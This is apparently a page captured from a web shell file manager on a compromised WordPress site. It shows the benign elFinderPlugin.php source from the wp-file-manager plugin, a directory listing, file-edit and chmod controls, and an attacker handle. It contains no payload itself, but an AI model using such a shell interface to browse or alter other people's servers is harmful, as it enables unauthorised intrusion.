Submit
Path:
~
/
/
proc
/
thread-self
/
root
/
home
/
getwphos
/
www
/
metrothemes.me
/
wp-content
/
plugins
/
wp-file-manager
/
lib
/
php
/
File Content:
elFinderPlugin.php
<?php /** * elFinder Plugin Abstract * * @package elfinder * @author Naoki Sawada * @license New BSD */ class elFinderPlugin { /** * This plugin's options * * @var array */ protected $opts = array(); /** * Get current volume's options * * @param object $volume * * @return array options */ protected function getCurrentOpts($volume) { $name = substr(get_class($this), 14); // remove "elFinderPlugin" $opts = $this->opts; if (is_object($volume)) { $volOpts = $volume->getOptionsPlugin($name); if (is_array($volOpts)) { $opts = array_merge($opts, $volOpts); } } return $opts; } /** * Is enabled with options * * @param array $opts * @param elFinder $elfinder * * @return boolean */ protected function iaEnabled($opts, $elfinder = null) { if (!$opts['enable']) { return false; } // check post var 'contentSaveId' to disable this plugin if ($elfinder && !empty($opts['disableWithContentSaveId'])) { $session = $elfinder->getSession(); $urlContentSaveIds = $session->get('urlContentSaveIds', array()); if (!empty(elFinder::$currentArgs['contentSaveId']) && ($contentSaveId = elFinder::$currentArgs['contentSaveId'])) { if (!empty($urlContentSaveIds[$contentSaveId])) { $elfinder->removeUrlContentSaveId($contentSaveId); return false; } } } if (isset($opts['onDropWith']) && !is_null($opts['onDropWith'])) { // plugin disabled by default, enabled only if given key is pressed if (isset($_REQUEST['dropWith']) && $_REQUEST['dropWith']) { $onDropWith = $opts['onDropWith']; $action = (int)$_REQUEST['dropWith']; if (!is_array($onDropWith)) { $onDropWith = array($onDropWith); } foreach ($onDropWith as $key) { $key = (int)$key; if (($action & $key) === $key) { return true; } } } return false; } if (isset($opts['offDropWith']) && !is_null($opts['offDropWith']) && isset($_REQUEST['dropWith'])) { // plugin enabled by default, disabled only if given key is pressed $offDropWith = $opts['offDropWith']; $action = (int)$_REQUEST['dropWith']; if (!is_array($offDropWith)) { $offDropWith = array($offDropWith); } $res = true; foreach ($offDropWith as $key) { $key = (int)$key; if ($key === 0) { if ($action === 0) { $res = false; break; } } else { if (($action & $key) === $key) { $res = false; break; } } } if (!$res) { return false; } } return true; } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
editors
---
0755
flycache
---
0755
libs
---
0755
plugins
---
0755
resources
---
0755
autoload.php
2680 bytes
0644
elFinder.class.php
188084 bytes
0644
elFinderConnector.class.php
12774 bytes
0644
elFinderFlysystemGoogleDriveNetmount.php
15187 bytes
0644
elFinderPlugin.php
3331 bytes
0644
elFinderSession.php
8764 bytes
0644
elFinderSessionInterface.php
1094 bytes
0644
elFinderVolumeBox.class.php
61772 bytes
0644
elFinderVolumeDriver.class.php
263137 bytes
0644
elFinderVolumeDropbox2.class.php
47412 bytes
0644
elFinderVolumeFTP.class.php
58552 bytes
0644
elFinderVolumeGoogleDrive.class.php
71259 bytes
0644
elFinderVolumeGroup.class.php
5371 bytes
0644
elFinderVolumeLocalFileSystem.class.php
48374 bytes
0644
elFinderVolumeMySQL.class.php
30439 bytes
0644
elFinderVolumeOneDrive.class.php
67254 bytes
0644
elFinderVolumeSFTPphpseclib.class.php
27364 bytes
0644
elFinderVolumeTrash.class.php
1583 bytes
0644
elFinderVolumeTrashMySQL.class.php
1576 bytes
0644
mime.types
24863 bytes
0644
N4ST4R_ID | Naxtarrr